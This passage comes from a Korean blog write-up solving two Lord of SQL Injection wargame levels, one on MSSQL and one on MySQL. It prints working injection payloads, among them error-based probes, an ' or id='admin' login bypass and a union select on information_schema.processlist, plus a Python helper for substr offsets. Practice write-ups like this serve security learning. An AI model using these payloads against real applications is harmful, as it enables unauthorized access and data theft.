4시이다. 글을 쓰고 있는 지금은 오후 11시이다...... 잡소리 그만하고 NESSIE의 코드를 만나보자

< 출처 : 위키백과 https://en.wikipedia.org/wiki/Loch_Ness_Monster >


코드

DB가 바뀌었다. 지난 시간까지는 sqlite였는데, mssql이 되었다. query는 2개가 시행이 되는데, 첫 번째 쿼리만 exploit 대상이 되는 거 같고, 두 번째 query는 정확한 pw를 전달해서 문제를 해결하는 문고리 문제인 거 같다.

master, sys, information, prob, wiatfor 등이 막힌것을 보니, 메타데이터의 접근과 time based sql injection을 방지하려고 한 거 같다.

 


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=uawe0f9ji34fjkl

코드를 잘 보면 exit(mssql_error(sqlsrv_errors()))이 있다. 즉 에러가 그대로 표출된다. 다음의 코드를 한번 쳐보자

try : ?pw=%27order%20by

오호....

try : ?pw=%27=

대박... 이거 아예 에러를 강제 유발할 수도 있겠다. 프로그래밍에도 자료형이 있듯이, 데이터베이스에도 자료형이 있다. 그중 문자열을 저장하는 VARCHAR나 VARCHAR2들이 문자열을 저장하게 되는데, 강제로 다른 형태의 자료를 넣으면 에러가 발생한다. 

 

따라서 문자열인 pw에 1을 입력하면 변환 오류가 나오며 유의미한 오류가 나올 수도 있다.

try : ?id=admin&pw=1%27%20or%20id=%27admin%27%20and%20pw=1--%20

어?


어허.... 쉽게 해결할 수 있었다. 다음 문제에서 기다리겠다.

으어어어어어ㅓ어엉ㅇ..ㅓㅓㅓㅓㅓ.....어어어ㅓㅓㅓㅓ...ㅓㅓ ㅋ........ㅗ....ㄷ.........ㅡ..ㄹ.....ㅡ...ㄹ.....ㅂ..........ㅈ.......ㅏ......

<출처 : 마인크래프트 위키 https://minecraft.fandom.com/wiki/Zombie >


코드

이번시간에는 저번과 비슷한데, rollup, join, ace가 금지되어있다. 역시 정확한 PW가 필요하다.  ace.... 아마 REPL"ace"를 금지하겠다는 거니까 QUINE은 사용치 못하겠다.

* 참 저번시간 이야기하지 않았는데, rollup은 group by와 같이 사용되는 함수로 그룹별 결과뿐만이 아니라 집계까지 보여준다.

 

혹시나???

try1 : ?pw=' or 1=1-- ;

 

역시 테이블이 텅 비어있다. 으으응어어ㅓ어어어어어ㅜㅡㅊ어어엉........해......ㄱ...ㅕ..ㄹ.......ㅂ.....ㅏㅇ......버......ㅂ......


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=%27%20union%20select%20substr(info,38,72)%20from%20information_schema.processlist--%20

 

Database에는 MetaData에 대한 내용을 역시 테이블로 가지고 있다. 특히 우리가 lord of sql injection에서 사용하는 MySQL은 이러한 메타정보를 묶어 하나의 DataBase로 만들었는데, 이 친구 이름이"INFORMATION_SCHEMA"이다.

 

아래는 MySQL의 공식 홈페이지에서 나온 Documentation이니 한 번씩 읽어 보기를 바란다. 

dev.mysql.com/doc/mysql-infoschema-excerpt/5.7/en/

 

MySQL :: MySQL Information Schema

The world's most popular open source database

dev.mysql.com

아무튼 이번에 우리의 문제를 위해서 사용할 테이블은 Information_schema의 processist라는 테이블이다.

 

이 Table은 서버를 통해 동작하고 있는 스레드의(쿼리다 여기선) 정보를 가진다. 따라서 우리가 파라미터를 입력 하서 php코드를 통한  쿼리도 이 processlist의 INFO라는 칼럼에 존재하게 되고, 이를 이용해서 pw값으로 준부분만 substr 하면 입력과 같은 반환을 다시 만들 수 있을 것이다. 위치 파악을 위해서 아래의 python코드가 사용되었다.

### get_location_losi_zombie.py ###

### substr()함수에 사용될 위치를 파악하는 함수이다. ###
def get_dbsubstr_offset(target,string) :

    index = string.find(target)
    if(index == -1) :
        return (-1,-1)
    return (index+1, len(target)+1)

### 지금은 어디를 잘라야될지 모르니까 두자리라고 예상하고 XX를 썻다. ###
if __name__=="__main__" :
    target = "' union select substr(info,XX,XX) from information_schema.processlist--"
    string = "select pw from prob_zombie where pw='' union select substr(info,XX,XX) from information_schema.processlist-- '"

    print("You can use location",get_dbsubstr_offset(target,string))

출력되는 위치는 38,72이다. 축하한다. 


이번 시간에 드디어 DATABASE의 메타 정보를 읽어와 보았다. 메타정보가 담고 있는 정보가 워낙 중요한 건 사실이고, 공격에 많이 사용되는 것이 사실이다. 꼭 위의 공식 Document는 한 번씩 읽어 보기를 바란.......으ㅡㅡㅡ.......어......

+ Recent posts